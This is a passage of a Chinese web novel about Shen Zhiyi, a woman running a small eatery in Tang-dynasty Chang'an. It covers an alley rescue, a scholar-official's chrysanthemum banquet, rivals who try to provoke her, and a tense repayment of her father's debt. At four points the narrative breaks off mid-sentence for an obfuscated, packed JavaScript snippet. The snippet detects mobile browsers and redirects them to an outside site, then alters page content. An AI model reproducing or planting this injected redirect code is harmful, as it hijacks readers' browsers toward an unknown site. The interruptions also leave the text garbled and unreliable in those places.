沈知意的心瞬间提到了嗓子眼，手心沁出冷汗。 她强自镇定，将手中的香料包握紧，冷声道：“各位好汉，我乃西市沈记食肆的店主，正要归家。还请行个方便。” “沈记食肆？哦，就是那个近日发财的小娘们？”另一个瘦高个嘿嘿笑道，“哥几个手头紧，借点银钱使使？听说你可是得了贵人的重赏啊！” 果然是为了钱，沈知意心中冰凉，知道今日难以善了。 她一边慢慢后退，靠向冰冷的墙壁，一边飞快地思索对策。 她怀中确实有今日卖货所得的几百文钱和之前剩下的些许散碎银两，但绝不能轻易交出。 “几位好汉怕是听错了，小本经营，哪有什么重赏？今日所得不过些许铜钱，几位若是不嫌，便拿去买碗酒喝。” 她试图周旋，从钱袋中摸出约莫几十文钱，扔到对方面前。 那横肉汉子一脚踢开铜钱，啐了一口：“呸！几十文钱打发叫花子呢？识相点，把身上的钱都交出来！不然……” 他逼近一步，眼神变得凶狠，“就别怪哥几个不怜香惜玉了！” 另外三人也狞笑着围拢过来，巷子狭窄，退路已绝。 沈知意背靠墙壁，指尖冰凉，绝望的情绪开始蔓延。 难道她好不容易挣来的些许希望，就要断送在这暗巷之中？ 就在那横肉汉子伸手欲抓向她之际，巷口突然传来一声暴喝：“干什么的！” 一道迅疾的身影如猎豹般冲入巷中，未等那几条汉子反应过来，只听“砰”“啪”几声闷响夹杂着痛呼，拦在沈知意身前的两人已□□脆利落地放倒在地，痛苦蜷缩。 来人动作极快，招式狠辣精准，显然是练家子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405760|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他身形高大，穿着一身便于行动的深色劲装，面容在昏暗光线下看不真切，只觉轮廓硬朗，目光如电。 剩余两人惊骇之下，还想反抗，却被来人三拳两脚再次击倒，彻底失去了行动能力。 整个过程不过眨眼之间。 沈知意甚至没看清他是如何出手的。 那人解决完麻烦，这才转过身，看向紧贴墙壁、惊魂未定的沈知意，声音低沉：“姑娘，没事吧？” 沈知意借着微弱的光线，勉强看清来人。 约莫二十出头年纪，肤色微深，鼻梁高挺，眉眼深邃，带着一股不同于长安文弱书生的英武之气，甚至隐隐有些异域轮廓。 但他说的却是流利的官话。 “多、多谢壮士出手相救！” 沈知意连忙敛衽行礼，声音仍带着一丝颤抖。 “举手之劳。” 那青年语气平淡，目光扫过地上呻吟的几人，眉头微蹙。 “西市晚间鱼龙混杂，姑娘日后还是莫要走这等僻静小巷为好。” 他似乎不愿多留，说完便欲转身离开。 “壮士留步！”沈知意急忙叫住他，“还未请教恩公高姓大名？日后必当报答！” 青年脚步一顿，侧过头，淡淡道：“不必。路过而已。” 言罢，不再停留，身影迅速消失在巷口黑暗中，来得突然，去得也干脆，仿佛从未出现过。 沈知意怔在原地，看着地上几个挣扎爬起狼狈逃窜的混混，又望向那人消失的方向。 她不敢久留，捡起地上的香料包，快步走出小巷。 回到灯火通明的主街，她才真正松了口气，后背已被冷汗湿透。 经此一遭，她更加深刻地意识到在这长安城，尤其是西市这等繁华与混乱交织之地，一个无依无靠的女子想要立足是何等艰难。 仅有手艺和微薄的财富，远远不够。 接下来的几日，她愈发谨慎，不再晚归也尽量避开偏僻路径。 食肆的生意依旧平稳，兄长的病情持续好转，甚至能在她忙碌时，帮着看管一下钱匣，记记简单的流水账。 这日，沈知意正在灶间尝试用新买的香料调试一种更适合秋日暖身的汤饼配方，忽见前日那位引她去苏府的小厮又来了。 这一次，小厮的神色却有些不同往常，少了之前的公事公办，多了几分难以掩饰的激动与恭敬。 “沈小娘子，”他压低了声音，语气甚至带着一丝谄媚，“夫人请您即刻过府一趟，有要事相商！是……是天大的好事！” 12. 第 12 章 苏府小厮再次登门，带来的并非催促或寻常传召，而是一份素雅却质地精良的请柬，以及老嬷嬷亲自前来格外郑重的叮嘱。 “沈小娘子，三日后，秘书省校书郎李大人府上设秋菊小宴，夫人受邀，特意点了名要你随行入府，专司制备几样席间点心。” 老嬷嬷语气虽依旧平淡，但眼底却藏着一丝与往日不同的郑重。 “李府诗书传家，往来多为清流文士及其家眷，最重风雅。夫人让你去，是抬举也是考较。你需得拿出真本事，莫要失了雅趣，更不可坠了苏府的名头。” 秘书省校书郎，虽只是正九品上的清要文官品阶不高，却掌校勘典籍、刊正文章，常在御前行走，清贵非常。 其府上宴饮或许不及高门显贵奢华，却极重风雅品味与文人意趣。 沈知意心中凛然，双手接过那份触感温润的请柬。 她知道这绝非一次简单的帮厨，而是她真正踏入长安另一个圈层的试探，是苏夫人对她能力的进一步审视。 成了，或许能在文人清流中博得些许声名。 败了，之前积累的好感可能大打折扣。 “民女明白，定当竭尽全力，不负夫人信任。” 她沉声应道，语气坚定。 老嬷嬷点点头：“夫人说了，此次所需一切食材用料，皆由府中支应，你只需列出单子，务求精巧雅致，更要稳妥。明日便会有李府的管事前来与你核对细节，你需早做准备。” 送走老嬷嬷，沈知意独自坐在渐渐安静下来的食肆里，心潮起伏。 李府清宴已不同于苏府内宅的调理，也不同于西市食肆的饱腹经营，需迎合的是文人士大夫的审美与舌尖。 机遇与压力并存，她必须拿出比“莲花鸭签”和“玉露团”更富雅趣且绝对稳妥的巧思。 她闭目凝神，将前世所知与唐代现有的食材技艺飞速融合，尤其侧重“雅”与“清”二字。 须臾，她睁开眼，提笔蘸墨，在纸上写下三个名字：“缠花云梦肉”、“橙玉生”、“雪霞羹”。 “缠花云梦肉”并非真肉，而是取河虾仁捶打成极其细腻的茸泥。 再调入少许姜汁、盐、葛粉，以极薄的猪网油如同缠丝般细细包裹，塑成含苞待放的秋菊形状。 最后以清鸡汤慢火浸熟，成品晶莹剔透，口感弹牙鲜甜，形意皆雅。 “橙玉生”则是借鉴“蟹酿橙”的古意，取新鲜橙子，顶部开口挖出部分橙肉，填入以熟鸡头米、鲜嫩荸荠丁、松子仁，佐以少许盐和橙汁调和而成的馅料，略蒸片刻，既保持橙形又使馅料温热，橙香四溢，口感清润脆嫩，寓意“橙”心如意。 “雪霞羹”实为一道汤品。以极嫩的豆腐脑为主料，覆上一层用新鲜石榴汁或红莓汁微微凝成的薄芡，红白相映，宛若雪后霞光。食时搅匀，口感滑嫩，酸甜清口，极富诗意。 这三样点心汤羹皆需极致巧思与耐心，造型清雅口味淡而不寡，正合文士雅集之趣。 次日，李府一位姓孙的中年管事果然前来。 此人一身青布长衫，举止斯文，言谈客气却带着书卷气的考究。 他仔细查验了沈知意列出的单子，对每一样点心的用料、做法、典故出处都问得极其详尽，尤其对“橙玉生”的寓意和“雪霞羹”的色彩搭配提出了更高要求。 沈知意一一谨慎作答，引经据典，解释“橙”与“诚”、“荸荠”与“必齐”的谐音佳话，以及“雪霞”的诗意联想。 孙管事听罢，抚须沉吟片刻，眼中露出几分赞赏：“小娘子竟有如此巧思雅意，倒也难得。既如此，便按此准备。后日巳时，自有车马来苏府接你。李府虽不比公侯之家豪奢，却最重规矩清静，一切需听从指引，勿要喧哗。” “民女谨记。” 沈知意恭声应下。 孙管事离去后，沈知意便开始了为期两天的精心准备。 所有食材均由苏府专人采购送来，品质皆为上乘。 她便在苏府那间专用灶房内，在心腹丫鬟的协助与监视下反复练习，尤其是对“缠花云梦肉”的塑形与火候控制，力求每一朵“菊”都栩栩如生。 第三日，天光清朗。 沈知意换上苏府为她备好的一身崭新的月白细布衣裙，头发用同色布巾包裹得一丝不苟，净面洗手，不施粉黛，力求素净雅洁，符合文士府的氛围。 在老嬷嬷的陪同下，她登上了前来接引的朴素青帷小车。 马车驶过清晨寂静的街道，穿过数道坊门，最终停在一处门庭并不巍峨却透着浓浓书卷气息的府邸前。 黑漆大门上方，悬着“李宅”二字匾额，字体清瘦劲挺。 他们由侧门引入，穿过植有修竹菊圃的庭院，直抵后厨。 李府的厨房不如苏府阔大，却格外整洁有序，几名厨役动作轻缓，空气中弥漫着淡淡的药材香和书墨气，与别处截然不同。 一位身着干净布衣、管事模样的老者迎了上来，与老嬷嬷低声交接后，便将沈知意引至一处僻静灶台前。所有食材器皿均已备齐，旁边立着一位神情温和的中年仆妇“协助”。 “沈小娘子，请开始吧。宴席午时初开，点心需在诗会间歇时呈上。” 老者语气平和地交代完，便转身离去。 沈知意深吸一口气，净手后，开始了专注的制作。 剔虾线、捶虾茸、雕橙盅、调豆花……每一个步骤都全神贯注，力求尽善尽美。 那位仆妇安静地看着，偶尔递上所需之物，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405761|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多言。 时间在极度专注中流逝。 当“雪霞羹”的红芡缓缓淋在雪白的豆腐脑上时，恰至午前。 沈知意仔细将三样点心汤羹在素雅的白瓷盏碟中摆好，交由仆妇送去查验。 等待的时刻，她能听到远处隐约传来的吟诗声与笑语，清雅不俗。 不久，那老者去而复返，脸上带着温和的笑意：“沈小娘子辛苦了。点心已呈上，诸位先生夫人尝后，皆赞雅致清妙，尤以那‘橙玉生’的巧思为最。夫人特意吩咐，让小娘子去花厅偏厢稍候，宴后另有赏赐。” “是，多谢管事。” 沈知意心中稍安，随一位小丫鬟来到花厅旁一间小巧精致的厢房等候。 透过半开的窗扉，她能瞥见外面庭院中，文士们凭几而坐，赏菊赋诗，气氛闲雅。 宴席散后，方才那位孙管事亲自前来，递上一个锦囊，语气颇为客气：“沈小娘子，这是我家夫人给的赏赐。夫人夸你心思灵巧，贴合雅趣，日后府中若再有小集，或再相请。” 沈知意接过赏赐，恭敬谢过。 走出李府侧门时，秋阳正好，微风拂过庭前菊丛，带来淡淡清香。 她深吸一口气，只觉得这次经历，虽紧张却另有一番令人心静的韵味。 回到苏府，老嬷嬷已在等候，见她归来，脸上笑意更真切了些：“做得不错。李府孙管事方才特意传话，赞你点心雅致，颇合他家主人心意。这是夫人额外赏你的。” 她又递过一个锦囊。 连番道谢后，沈知意终于回到西市食肆。 暮色将至，福伯见她不仅平安归来，神色间竟似比往日更多了几分沉静气度，且又带回赏赐，自是欢喜不已。 沈知意先去看了兄长。 沈砚的气色日益见好，已能下榻缓行几步。 听闻妹妹去了校书郎府邸献艺并得赞誉，苍白的脸上也露出欣慰笑容：“妹妹如今……竟也能出入清流之宴了……真好……” 看着兄长欣慰的模样，感受着怀中锦囊的分量，沈知意心中踏实了许多。 这一步，她走得虽小心却稳稳当当。 她似乎在这繁华又复杂的长安城真正找到了一丝立足的缝隙。 就在李府宴席之上，一位与苏夫人相熟身着青袍的年轻官员，在品尝了那盏“雪霞羹”后，曾对身旁的苏晏清低声笑言：“苏兄，府上这位厨娘，倒是妙人。这羹汤之色，倒让某想起前日宫中贵人欲赏而不得的‘红云糕’……心思之巧，不落俗套啊。” 苏晏清执盏微笑，目光掠过庭中秋菊，并未多言，只眼底闪过一丝不易察觉的思量。 沈知意这只偶然飞入清流雅集的雀鸟，其婉转之声，已开始落入更多人的耳中。 13. 第 13 章 自李府秋菊宴归来，沈知意的日子似乎又回到了之前的轨道。 她依旧每日清晨开启食肆，售卖改良后的胡麻饼、豚肉臊子面以及那碗颇受好评的“雪霞羹”。 只是“雪霞羹”的售价降至十五文，更贴合西市百姓的消费。 偶尔她也会应熟客要求，制作几份“缠花云梦肉”或“橙玉生”。但数量极少，需提前一日预定，价格自然也高出不少。 然而有些东西终究是不同了。 先是西市左邻右舍的态度。 浆饮铺的阿婆见了她，笑容愈发真切，偶尔还会拉着她低语几句，提醒她近日市署巡査似乎又紧了少许，让她留心。 铁匠铺的张大叔嗓门依旧洪亮，却会在她搬运重物时，不由分说地搭把手，嘟囔着“闺女家细胳膊细腿的，别闪着了”。 更明显的是食客的变化。 除了往日那些熟面孔，渐渐多了一些穿着体面举止斯文的新客。 他们或是低声交谈着“听闻此间点心甚雅”，或是好奇地点一份“雪霞羹”，对着那红白相映的汤羹细细品味，颔首称许。 这日午后，食客稍稀，一位穿着半旧青衿须发花白的老者踱步进来，要了一碗雪霞羹，一碟胡麻饼。 他吃得极慢，目光却不时打量着这间狭小却收拾得干干净净的食肆，最后落在灶台后忙碌的沈知意身上。 “小娘子，”老者用完餐，并未立刻离去，而是捻着胡须沉吟道，“老夫昨日在友人家中，尝得一味名曰‘缠花云梦肉’的点心，形味皆妙，听闻乃出自你手？” 沈知意停下手，擦净手走出来，敛衽一礼：“不敢当老先生谬赞，确是民女胡乱琢磨的粗浅手艺。” 老者摇摇头，眼中带着欣赏：“非是谬赞。能将虾茸处理得那般细腻，以网油缠丝塑菊形，火候把控恰到好处，非一日之功。更难得是其中雅意，竟合了李校书府上秋菊之宴的景，可是有意为之？” 沈知意心中微惊，没想到这位看似普通的老者竟能一语道破其中关窍，且知晓李府宴饮细节，恐非寻常人。 她谨慎答道：“民女只是想着秋日菊黄，应景做些花样，不敢妄攀风雅。” 老者呵呵一笑，不再深究，只道：“手艺好，心思巧，不骄不躁，很好。” 他留下远超餐费的十几文钱起身离去，临到门口又回头说了一句，“小娘子这店，虽小，却藏真味。挺好，挺好。” 福伯在一旁听得目瞪口呆，待老者走远才凑过来低声道：“六娘，这位老先生瞧着不像普通人，说话文绉绉的，怕是哪位致仕的老大人吧？他竟也知道李府的事？” 沈知意看着那老者离去的方向心中亦是波澜微起。 李府宴席之事看来已在小范围内悄然传开，这固然能带来声名与更好的客源，却也意味着她已落入更多人的视野之中，福祸难料。 果然，没过两日，麻烦便悄然而至。 这日清晨，沈知意刚开门不久，正准备生火熬汤，斜对面张记蒸饼的胖掌柜便晃悠了过来，脸上堆着假笑，声音却有些阴阳怪气：“沈小娘子，近日生意越发红火了啊！听说都做到校书郎府上去了？真是了不得！” 沈知意手下不停，淡淡道：“张掌柜说笑了，不过是贵人抬爱，偶尔帮闲罢了，糊口而已。” “嘿嘿，糊口？”张胖子凑近了些，压低声音，“小娘子，有贵人赏识是好事，可也得想想咱们这些老街坊不是？你这又是豚肉臊子面，又是雪霞羹的，把客人都引了去，我这蒸饼铺子都快揭不开锅了。你看……是不是也分润些好处？听说李府赏钱可不少啊……” 沈知意动作一顿，抬起头，目光清冷地看着他：“张掌柜，西市做生意，各凭本事。客人愿意来我这儿吃面，自然是因为合他们口味。你若觉得生意难做，大可也琢磨些新花样，何必来说这些？” 张胖子脸色一沉，假笑收敛：“沈小娘子，话别说得这么难听。这西市有西市的规矩，你一个外来户，根基浅薄，别以为攀上了高枝就能不把老街坊放在眼里！要知道，强龙还不压地头蛇呢！” 浆饮铺的阿婆正好出来泼水，听见这话，立刻叉腰骂道：“张胖子！你少在这里欺生！什么地头蛇？你就是眼红六娘生意好！有本事自己也把饼做得香喷喷啊！整天琢磨些歪门邪道，也不嫌丢人！” 张胖子被骂得脸上挂不住，狠狠瞪了阿婆一眼，又剜了沈知意一眼，撂下一句“走着瞧”，悻悻然回了自己铺子。 福伯忧心忡忡地低声道：“六娘，这张胖子怕是真记恨上了，他那人手段可不干净。往日里就没少挤兑别家铺子。” 沈知意抿了抿唇：“我知道。兵来将挡，水来土掩。咱们只管把自家生意做好，东西做得干净好吃，价格公道，不怕他使绊子。” 话虽如此她心中却也提高了警惕。 张胖子这等市井小人，惯会欺软怕硬，背后捅刀，不得不防。 一波未平，一波又起。 午后，食肆里来了两位生面孔的妇人，衣着光鲜，却带着一股倨傲之气。 她们要了两碗雪霞羹，却只尝了一口便蹙起眉头，扬声唤来福伯。 “老丈，你这羹味道不对啊！” 其中一位吊梢眼妇人用勺子敲着碗沿。 “这石榴汁怕是馊了吧？酸不拉几的，也敢卖十五文一碗？莫不是欺我们不懂行？” 福伯一愣，连忙解释：“这位娘子，这话从何说起？这石榴汁是今早才买的新鲜果子现榨的，绝不可能馊……” 另一位圆脸妇人声音尖利，“我说馊了就是馊了！你看看这颜色，浑浊不堪，定是用了劣等果子！把你们店主叫来！今日必须给个说法！” 周围的食客都停下筷子，看了过来。 沈知意从灶后走出，净了手来到桌前，目光平静地扫过那两碗几乎未动的羹汤，又看向那两位面色不善的妇人，心中已然明了。 这绝非寻常的挑剔，而是有意找茬。 她端起其中一碗，仔细看了看色泽又凑近轻轻嗅了嗅，随即放下碗，语气平稳无波：“二位娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405762|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，这羹汤所用石榴，是今晨民女亲自在西市胡商处挑选的上好波斯种，汁液饱满，色泽红艳。榨汁后即刻调入豆花，并无丝毫异味。汤汁略显浑浊，乃是豆花与果汁自然融合所致，并非馊腐。若二位觉得口味不合，民女可为您二位换两碗胡麻饼，或是退还餐费，但‘馊了’二字，恕难认同。” 她话语清晰不卑不亢，周围食客也纷纷点头附和。 “是啊，我天天来吃，从没吃出过馊味！” “这羹清甜着呢！” 那两位妇人见沈知意态度强硬且周围人多，脸色越发难看。 吊梢眼妇人冷哼一声：“哼，巧言令色！谁知道你背地里用了什么不干净的东西！我们可是听人说了，你这店……” 她话未说完，忽闻一个温和却带着不容置疑威严的声音插了进来：“哦？听何人所说？又用了何物？” 众人循声望去，只见苏晏清不知何时已站在店门口，一袭月白常服，面带浅笑，目光却落在那两位妇人身上，带着淡淡的审视。 那两位妇人显然认得苏晏清，脸色瞬间煞白，嚣张气焰顷刻消散，支支吾吾道：“苏、苏录事……没、没什么，许是、许是我们味觉有误……” 苏晏清踱步进来，扫了一眼那两碗羹，淡淡道：“既是味觉有误，便莫要妄下断言，坏了人家店誉。西市做生意不易，当以和为贵。二位若已用完，便请自便吧。” 那两位妇人如蒙大赦，连钱也顾不上付，慌忙起身，低着头匆匆离去，连背影都透着狼狈。 苏晏清这才转向沈知意，微微一笑：“看来小娘子声名渐起，也招来些无谓纷扰。” 沈知意心中感激，连忙行礼：“多谢苏录事再次解围。” “举手之劳。” 苏晏清摆摆手，目光在店内扫过，似不经意道，“近日可有甚难处？我见那刘府管家，前两日似乎又在市署与王录事吃酒。” 沈知意心中一凛，知道这是苏晏清在提醒她刘家并未死心，或许与今日之事也有牵连。 她沉声道：“多谢苏录事提点，民女会小心应对。” 苏晏清点点头，并未多留，只买了一包胡麻饼，便告辞离去。 送走苏晏清，食肆内恢复了平静，但沈知意的心却无法平静。 张胖子的威胁、刘家的阴魂不散、还有今日这突如其来的找茬…… 声名所带来的，并非全是好处更有暗处滋生的危机。 她看着眼前这间渐渐有了起色的小小店肆，看着灶台中跳跃的火焰，目光逐渐变得坚定。 无论前路有多少暗流险滩，她都必须走下去。为了病榻上的兄长，也为了自己在这大唐长安好不容易挣来的这一方立足之地。 夜色渐深，她仔细锁好店门，将今日收入清点收好。 是时候考虑雇佣一两个可靠的人手了。 福伯年事已高，兄长病体未愈，她独自一人，既要操持生意又要应对明枪暗箭，实在有些力不从心。 这个念头一旦升起，便再也挥之不去。 14. 第 14 章 这日清晨，沈知意刚卸下门板，灶火还未升起，一辆装饰颇为奢华的马车便带着一股蛮横的气势，吱呀一声停在了沈记食肆门前。 车帘掀开，下来的并非刘府那位惯会阴阳怪气的赵管家，而是一个身着锦缎圆领袍、面皮白净、眼神却透着精明与倨傲的中年男子。 他身后跟着四个膀大腰圆的健仆，直接将并不宽敞的店门堵了个严实。 福伯正在洒扫，见状手一抖，笤帚“啪”地掉在地上，脸色瞬间惨白，嘴唇哆嗦着，几乎说不出话来。 那中年男子目光在狭小简陋的食肆里扫了一圈，最后落在闻声从灶间走出的沈知意身上，嘴角扯起一抹皮笑肉不笑的弧度：“这位便是沈小娘子吧？鄙人姓钱，忝为刘府外院管事。” 刘府外院管事？地位显然比之前的赵管家更高。 沈知意心中一沉，面上却维持着镇定，上前福了一礼：“钱管事大驾光临，不知有何见教？” 钱管事从袖中慢悠悠抽出一张叠得整齐的纸，抖开来，赫然正是当初沈父立下的那张欠债字据。 “见教不敢当。” 他声音不高，却带着一股压人的气势。 “只是这十贯钱的旧账，拖得也够久了。我家主母近日盘账，见这笔款项迟迟未清，颇为不悦。特命鄙人前来，今日之内，连本带利，一并结清。” 今日之内！？ 沈知意只觉得一股寒气从脚底直冲头顶。 她近日虽有些进项，但兄长药费昂贵，添置本钱、打点市署也花去不少，满打满算手头能动用的现钱也不过四五贯，距离十贯之数相差甚远。 “钱管事，”她强压下心头的惊涛骇浪，尽量让声音保持平稳，“此前与贵府赵管家言明，还款之期……” “赵管家？” 钱管事嗤笑一声，打断她。 “他一个管内宅杂事的，岂能做得了外账的主？此前是他办事不力，拖延日久，如今主母亲自过问，自然按府里的新章程来。今日，便是最后的期限。” 他身后的健仆配合着上前一步，肌肉贲张，仗势吓人。 “可……可这一时之间，小店实在凑不出这许多现钱……”福伯在一旁急得满头大汗，声音发颤地哀求，“钱管事，您行行好，宽限几日，就几日……” 钱管事眼神一冷，“刘府不是开善堂的！宽限了几次了？看你们这生意做得红火，日日进钱，却推三阻四，莫不是想赖账不成？” 他目光锐利地扫过灶台、面袋，“若是今日拿不出，也好办。便用你这店里的家伙什、存货，还有这铺面本身，抵了债务便是！来人！” “且慢！” 沈知意猛地出声，拦住了欲要动手的仆役。 她心念电转，知道此刻硬抗绝无好处，必须拖延时间。 “钱管事，并非民女有意拖延，实是近日家兄病重，用药花费甚巨。十贯钱绝非小数，可否容民女今日尽力筹措，至日落时分，再给管事回话？若届时仍无法凑足，……再议抵债之事不迟。” 钱管事眯着眼打量她片刻，似乎在权衡。 他今日前来，逼债是真，但也未必就真想立刻收了这破旧铺面。 主母更想要的是这日渐红火的生意，是这手艺精巧的小娘子本身。 逼得太急，反而不美。 “哼，也罢。” 他冷哼一声，将字据收回袖中。 “便给你一日工夫。日落之时，若见不到十贯钱，休怪刘某无情，封店拿人！” 他撂下狠话，意味深长地看了沈知意一眼，这才转身，带着仆役登车离去。 马车驶远，食肆内却一片死寂。 福伯瘫坐在地，老泪纵横：“十贯钱……一日之内……这、这可如何是好啊六娘！咱们去哪弄这许多钱啊！” 沈知意扶起福伯，手心亦是冰凉，脑中飞速盘算。 将所有积蓄取出，再立刻赶制一批“缠花云梦肉”和“雪霞羹”高价售卖？ 可即便一刻不停，一日之内又能做出多少？ 不过是杯水车薪。 难道真要眼睁睁看着这刚刚有了起色的食肆被夺走看着兄长断药？ 不，绝不行。 她猛地抬头，目光扫过店内，最终落在角落里那几罐她近日试着用秋日水果酿制的“醴酪”上。因工艺不熟，这几罐醴酪发酵程度不一，口感并不稳定，她本打算再琢磨几日，并未打算出售。 一个极其冒险的念头骤然划过脑海。 “福伯，”她声音出奇地冷静，“您立刻去一趟东市，将我单子上列的这些东西，不惜代价，最快速度买回来！”她飞快地写下一张单子，上面是几种品相极好的干果蜜饯和一小罐价格不菲的“石蜜”。 福伯接过单子，看着上面那些价昂之物，手又是一抖，但看着沈知意决绝的眼神，一咬牙，揣上所有能动用的钱，踉跄着冲了出去。 沈知意则立刻动手，将灶火升起。 她取来那几罐发酵程度不一的醴酪，小心尝味，挑选出口感最醇厚、甜度适中、略带酒香的一罐作为基料。又将福伯买回的石蜜敲碎，加入少量清水，熬成粘稠的糖浆。 她将精选的醴酪与糖浆按特定比例混合，投入洗净的干果蜜饯。最后，她取出一小坛之前苏府赏赐的她一直舍不得用的西域葡萄酒，斟酌着滴入数滴，以其深邃的果香和色泽来提升整体风味。 所有材料在陶罐中轻轻搅匀，密封，然后坐入一盆冰凉的井水中，不断缓慢旋转，让其在低温中渐渐融合、凝稠。 这是一个大胆的尝试。 她试图在极短时间内，利用冰镇和糖浆，模拟出类似后世“冰酒”或“甜酒酿”的浓醇口感，并以其晶莹剔透的色泽和丰富的配料，打造出一款足以在短时间内卖出高价的“奢侈品”饮品。 时间一分一秒过去。 福伯气喘吁吁地带着东西回来，便帮着看火、打水。 沈知意则寸步不离地守着那陶罐，凭手感感知着温度的变化，心中祈祷着这次冒险能够成功。 午时将至，食客陆续上门。 沈知意无暇他顾，只让福伯勉强应付着售卖些简单的胡麻饼。 她全部心神都系于那罐正在发生微妙变化的“醴酪”之上。 终于在未时左右，她小心翼翼地将陶罐从冰水中取出，揭开密封。 一股极其馥郁复杂的香气瞬间逸出。 那香气混合了甜酒的醇厚、干果的甜香、蜜饯的果酸以及那一丝若有若无的葡萄酒的深邃气息，层次丰富，诱人至极。 她取过一个干净的白瓷碗，舀起一勺。 只见汤汁呈现出一种极其漂亮的、近乎琥珀般的透亮色泽，其间悬浮着饱满的果脯蜜饯，光看着便觉赏心悦目。 尝一口，口感冰爽丝滑，甜而不腻，酒味极淡却回味悠长，各种风味完美融合，在这微凉的秋日里，竟带来一种奇异的、令人身心舒畅的享受。 成功了！ 沈知意眼中爆发出惊喜的光芒。 她立刻取来最精致的几个白瓷小碗，将这款新饮品仔细分装，每碗只盛小半，确保品相完美。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405763|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “福伯，”她声音因激动而微微发颤，“挂出新牌：‘秋日特饮，琥珀光’，一碗……五十文！每日仅售十碗！” “五、五十文？！” 福伯惊得差点咬到舌头，一碗水卖五十文？这、这谁敢买？ 然而，招牌挂出不久，那奇异诱人的香气便吸引了过往行人的注意。 很快，便有昨日尝过“缠花云梦肉”的老主顾好奇询问：“小娘子，这‘琥珀光’又是何新奇物事？香得如此特别？” 沈知意便取一小碟，让人试尝。 那冰爽醇甜、复杂美妙的口感瞬间征服了试尝者。 “唔！妙极！这滋味……从未尝过！”一位行商毫不犹豫地排出五十文，“来一碗！这秋燥天气，喝这个正合适！” 有了第一个吃螃蟹的人，再加上那实在诱人的香气和“每日仅售十碗”的噱头，另外九碗竟也在短短一个多时辰内被抢购一空。 其中不乏昨日那两位找茬未成的妇人派来的丫鬟，似乎是想挽回些什么。 五百文钱瞬间入囊，加上今日其他进项，竟凑足了一贯多钱。 但距离十贯，仍遥不可及。 夕阳西斜，寒意渐浓。 钱管事那辆马车，如同索命的幽魂，准时地再次出现在了巷口。 沈知意捏紧了手中那仅有的五贯多钱，指尖冰凉。 她知道，这点钱绝不足以打发走那位钱管事。 就在沈知意几乎绝望之时，一辆青篷小车却抢先一步，悄无声息地停在了店门前。 车帘掀开，下来的竟是苏晏清身边的那位青衣小童。 小童快步走到沈知意面前，递上一个沉甸甸的锦囊，低声道：“沈小娘子，我家公子听闻你今日有难处，特命小的送来此物。公子言道：‘江湖救急，不必言谢，日后宽裕时归还即可。’” 沈知意愕然接过，入手沉重无比，打开一看，里面竟是白花花的银子，足有五六两之多。 兑换成铜钱，远超十贯之数。 她猛地抬头，看向那辆安静的青篷小车，车窗帘幕低垂，看不清内里，但她能感觉到一道温和的目光正落在自己身上。 “替我……多谢苏录事。” 她声音微哽，心中涌起一股难以言喻的暖流与酸涩。 小童点点头，转身登车，马车悄无声息地驶离。 就在这时，钱管事的马车也到了。 他带着仆役，气势汹汹地走下马车。 沈知意深吸一口气，将手中所有的铜钱连同那袋银子，一起放入一个木匣中，端了出去，放在钱管事面前的案上。 “钱管事，十贯钱，连本带利，请您清点。” 她声音平静，却带着一丝不易察觉的颤抖。 钱管事看着那满匣的铜钱和显眼的银锭，明显愣了一下，眼中闪过惊疑、不甘，最终化为一丝悻悻然。他仔细清点了数目，确实分文不差。 “哼，算你识相！” 他收起钱，将那张字据狠狠拍在桌上，阴沉地瞪了沈知意一眼，终究无话可说，转身带人离去。 望着刘家马车彻底消失在暮色中，沈知意腿一软，几乎站立不住，扶住门框才稳住身形。 福伯在一旁早已泣不成声。 债终于还清了。 但沈知意知道，她欠下的是另一份更重的人情。 而前方的路，似乎也因这份人情变得更加复杂难测。 夜色彻底笼罩下来，食肆内那碗未能售完的“琥珀光”，在油灯下，折射出冰冷而迷离的、如同真正琥珀般的光泽。 15. 第 15 章 